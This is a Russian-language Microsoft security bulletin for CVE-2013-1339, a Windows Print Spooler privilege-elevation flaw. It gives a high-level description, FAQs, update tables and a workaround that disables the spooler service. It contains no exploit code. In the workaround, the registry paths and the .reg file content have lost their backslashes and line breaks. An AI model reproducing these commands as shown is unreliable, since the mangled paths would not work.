Продукты, перечисленные в этом бюллетене, проверены на наличие уязвимости в тех или иных версиях. Жизненные циклы поддержки прочих версий программного обеспечения истекли. Дополнительные сведения о жизненном цикле продуктов см. на веб-странице сроков поддержки продуктов Майкрософт.

Пользователям более ранних версий программного обеспечения следует срочно перейти на поддерживаемые версии, чтобы снизить вероятность наличия в системе уязвимостей. Чтобы определить стадии жизненного цикла поддержки для вашего выпуска программного обеспечения, перейдите на веб-страницу Выберите продукт для отображения информации о стадиях жизненного цикла. Дополнительные сведения о пакетах обновления для этих выпусков программного обеспечения см. на веб-странице политики по срокам поддержки продуктов Microsoft.

Для получения сведений о возможных вариантах обслуживания более ранних версий программного обеспечения свяжитесь с представителем группы по работе с заказчиками корпорации Майкрософт, ее техническим менеджером или представителем соответствующей партнерской компании Майкрософт. Пользователи, у которых нет договора типа Alliance, Premier или Authorized, могут обратиться в местное представительство корпорации Майкрософт. Для получения контактной информации посетите веб-сайт Microsoft Worldwide Information, выберите страну в списке «Контактная информация» и нажмите кнопку Go (Перейти), чтобы просмотреть список телефонных номеров. Дозвонившись, попросите связать вас с менеджером по продажам службы поддержки Premier. Дополнительные сведения см. в разделе Часто задаваемые вопросы о политике поддержки продуктов Майкрософт на разных стадиях жизненного цикла.

Сведения об уязвимости

Уровни серьезности и идентификаторы уязвимостей

Указанные ниже уровни серьезности подразумевают максимальное потенциальное воздействие уязвимости. Сведения о вероятности использования уязвимости в течение 30 дней с момента выпуска данного бюллетеня по безопасности с указанием уровня ее опасности и воздействия см. в указателе использования уязвимостей июньского обзора бюллетеней. Дополнительные сведения см. в индексе использования уязвимостей.

Уровень серьезности уязвимости и максимальное воздействие на систему безопасности

Уязвимость диспетчера печати (CVE-2013-1339)

Из-за способа обработки памяти диспетчером печати Microsoft Windows при удалении принтера существует уязвимость, приводящая к несанкционированному повышению привилегий.

Чтобы просмотреть стандартную запись об этой уязвимости в списке «Common Vulnerabilities and Exposures», см. CVE-2013-1339.

Смягчающие факторы

К смягчающим факторам относятся параметр, стандартная конфигурация или общие рекомендации, которые при использовании по умолчанию могут снизить опасность использования уязвимости. Следующие смягчающие факторы могут снизить опасность использования уязвимости.

• Чтобы воспользоваться этой уязвимостью, злоумышленник должен иметь действительные учетные данные и возможность входа в систему.

Временные решения

К временным решениям относятся изменения параметров или конфигурации, не приводящие к полному устранению уязвимости, но позволяющие блокировать известные направления атак до того, как будет установлено обновление. Корпорация Майкрософт проверила представленные ниже временные решения и сообщила, снижают ли они функциональные возможности.

• Отключите службу очереди печати принтера

  Отключение службы очереди печати принтера поможет защитить систему от попыток воспользоваться данной уязвимостью. Чтобы отключить службу диспетчера печати, выполните следующие действия.

  Интерактивный способ:

  Внимание! Неправильное использование редактора реестра может привести к серьезным проблемам, для решения которых может потребоваться переустановка операционной системы. Корпорация Майкрософт не может гарантировать, что вы сумеете устранить проблемы, возникшие вследствие неправильного использования редактора реестра. Ответственность за использование редактора реестра несет пользователь.

  1. В меню Пуск выберите пункт Выполнить, введите команду regedit и нажмите кнопку ОК.

  2. В редакторе реестра откройте следующий раздел реестра:

     HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservices

  3. Выберите Print Spooler, а затем в меню Файл щелкните Экспорт.

  4. В диалоговом окне Экспорт файла реестра введите spooler_configuration_backup.reg и нажмите кнопку Сохранить.

  5. Дважды щелкните параметр реестра Start типа DWORD, задайте ему значение 4, а затем нажмите кнопку ОК.

  6. Откройте окно командной строки с правами администратора и выполните следующую команду:

     sc stop spooler

  Применение сценария управляемого развертывания:

  1. Создайте резервную копию разделов реестра с помощью управляемого сценария развертывания, используя следующую команду:

     regedit /e spooler_configuration_backup.reg HKEY_LOCAL_MACHINESystemCurrentControlSetServicesspooler

  2. Создайте текстовый файл с именем Disable_spooler.reg следующего содержания:

     Редактор реестра Windows версии 5.00[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSpooler]"Start"=dword:00000004

  3. С помощью следующей команды запустите на целевом компьютере ранее созданный (см. п. 2) сценарий реестра:

     Regedit /s Disable_spooler.reg

  4. Откройте окно командной строки с правами администратора и выполните следующую команду:

     sc stop spooler

  Побочные эффекты использования временного решения. Связанные с печатью компоненты не будут правильно функционировать; печать будет отключена.

  Отмена временного решения.

  Чтобы интерактивно отменить данное временное решение (если оно применено), выполните указанные ниже действия.

  1. В меню Пуск выберите пункт Выполнить, введите команду regedit и нажмите кнопку ОК.
  2. Щелкните меню Файл и выберите Импорт.
  3. В диалоговом окне Импорт файла реестра выберите созданный файл резервной копии реестра (spooler_configuration_backup.reg) и нажмите Открыть.

  Чтобы отменить данное временное решение (если оно применено), с помощью сценария управляемого развертывания, в окне командной строки, открытом с правами администратора, выполните следующую команду:

  Regedit /s spooler_configuration_backup.reg

Часто задаваемые вопросы

Какова область воздействия этой уязвимости?
Эта уязвимость может приводить к несанкционированному повышению привилегий.

В чем причина уязвимости?
Данная уязвимость возникает, когда диспетчер печати Windows неправильно высвобождает память при удалении подключения принтера.

Что такое диспетчер печати (служба очереди печати принтера)?
Служба очереди печати принтера (Spoolsv.exe) представляет собой исполняемый файл, установленный как служба. Служба очереди печати принтера загружается при запуске операционной системы и продолжает работать до завершения работы операционной системы. Служба очереди печати принтера управляет процессом печати, который включает выполнение таких задач, как получение данных о местоположении драйвера принтера, загрузка драйвера, вызовы высокоуровневой функции очереди печати в задание печати и планирование заданий печати. Когда все этапы задания печати выполнены, служба очереди печати передает задание маршрутизатору печати. Дополнительные сведения см. в статье Как работает сетевая печать.

Что может сделать злоумышленник, который воспользуется этой уязвимостью?
Злоумышленник, который воспользуется этой уязвимостью, сможет войти в систему пользователя с системными привилегиями и запустить в ней произвольный код. Воспользовавшись этой уязвимостью, злоумышленник может установить полный контроль над системой. После этого злоумышленник сможет устанавливать программы, просматривать, изменять и удалять данные, а также создавать новые учетные записи.

Каким образом злоумышленник может воспользоваться этой уязвимостью?
Злоумышленник может воспользоваться данной уязвимостью, удалив подключение принтера.

Какие системы в первую очередь подвержены риску?
В первую очередь данной уязвимости подвержены рабочие станции и серверы.

Как действует обновление?
Это обновление устраняет указанную уязвимость, исправляя способ выделения памяти в диспетчере печати Windows при удалении подключения принтера.

Была ли эта уязвимость опубликована до выпуска настоящего бюллетеня по безопасности?
Нет. Корпорация Майкрософт получила сведения об этой уязвимости из надежных источников.

Получала ли корпорация Майкрософт к моменту выпуска этого бюллетеня по безопасности какие-либо сведения о том, что эта уязвимость была использована злоумышленниками?
Нет. Корпорация Майкрософт не получала никакой информации, указывающей на то, что до выпуска этого бюллетеня по безопасности данная уязвимость была открыто использована для организации атак на пользовательские компьютеры.

Сведения об обновлении

Руководство и средства по диагностике и развертыванию

Доступно несколько ресурсов, чтобы помочь администраторам развернуть обновления для системы безопасности.

• Анализатор безопасности Microsoft Baseline Security Analyzer (MBSA) позволяет администраторам проверять локальные и удаленные системы с целью выявления неустановленных обновлений для системы безопасности и типичных ошибок в конфигурации системы безопасности.
• Службы Windows Server Update Services (WSUS), Systems Management Server (SMS) и System Center Configuration Manager (SCCM) помогают администраторам распространять обновления для системы безопасности.
• Компоненты средства оценки совместимости с обновлениями, включенные в набор средств для обеспечения совместимости приложений, облегчают тестирование и проверку совместимости обновлений Windows с установленными приложениями.

Информацию об этих и других доступных инструментах см. в статье Инструменты обеспечения безопасности.

Развертывание обновления для системы безопасности

Подвержены уязвимости

Чтобы получить сведения о нужной версии обновления для системы безопасности, щелкните соответствующую ссылку.

Windows Vista (все выпуски)

Вспомогательная таблица

В приведенной ниже таблице приведены сведения об обновлении для системы безопасности данного программного обеспечения.

Windows Server 2008, все выпуски

Вспомогательная таблица

В приведенной ниже таблице приведены сведения об обновлении для системы безопасности данного программного обеспечения.

Windows 7 (все выпуски)

Вспомогательная таблица

В приведенной ниже таблице приведены сведения об обновлении для системы безопасности данного программного обеспечения.

Windows Server 2008 R2 (все выпуски)

Вспомогательная таблица

В приведенной ниже таблице приведены сведения об обновлении для системы безопасности данного программного обеспечения.

Windows 8 (все версии)

Вспомогательная таблица

В приведенной ниже таблице приведены сведения об обновлении для системы безопасности данного программного обеспечения.

Windows Server 2012 (все версии)

Вспомогательная таблица

В приведенной ниже таблице приведены сведения об обновлении для системы безопасности данного программного обеспечения.

Windows RT (все выпуски)

В приведенной ниже таблице приведены сведения об обновлении для системы безопасности данного программного обеспечения.

Прочие сведения

Программа Microsoft Active Protections Program (MAPP)

Чтобы повысить уровень защиты пользователей, корпорация Майкрософт предоставляет сведения об уязвимостях крупным поставщикам программного обеспечения безопасности перед ежемесячным выпуском обновлений. Эта информация необходима им для усовершенствования программного обеспечения и оборудования для защиты пользователей (антивирусных программ, сетевых систем обнаружения вторжений, а также индивидуальных систем предотвращения вторжений). Сведения о средствах защиты, предоставляемых поставщиками программного обеспечения безопасности, доступны на соответствующих веб-сайтах партнеров, перечисленных в списке партнеров MAPP.

Поддержка

Получение справки и поддержки по данному обновлению для системы безопасности

• Справка по установке обновлений: Поддержка Центра обновления Майкрософт
• Решения безопасности для ИТ-специалистов: Устранение неполадок и поддержка на веб-сайте TechNet
• Защита компьютера с установленной ОС Windows от вирусов и вредоносных программ: Центр решений по антивирусам и безопасности
• Местная поддержка в зависимости от страны: Международная поддержка

Заявление об отказе

Сведения в статьях базы знаний Майкрософт предоставляются без каких-либо гарантий. Корпорация Майкрософт не предоставляет каких-либо гарантий, явных или подразумеваемых, включая любые гарантии товарности или пригодности для использования в определенных целях. Корпорация Майкрософт и ее поставщики ни при каких обстоятельствах не несут ответственности за возможный ущерб, включая косвенный, случайный, прямой, опосредованный и специальный ущерб, а также упущенную выгоду, даже если корпорация Майкрософт или ее поставщики заранее были извещены о возможности такого ущерба. Если действующее законодательство не допускает отказа от ответственности за косвенный или случайный ущерб, то описанные выше ограничения не действуют.

Редакции

• Версия 1.0 (11 июня 2013 г.) Бюллетень опубликован.
• Вер. 1.1 (16 декабря 2013 г.): В новую версию бюллетеня добавлена информация об изменении логики обнаружения, чтобы устранить проблему предоставления обновления 2839894 для Windows RT. Это изменение касается только логики обнаружения. В файлы обновления изменения не вносились. Пользователям, успешно установившим это обновление ранее, не требуется выполнять никаких действий.

Built at 2014-04-18T01:50:00Z-07:00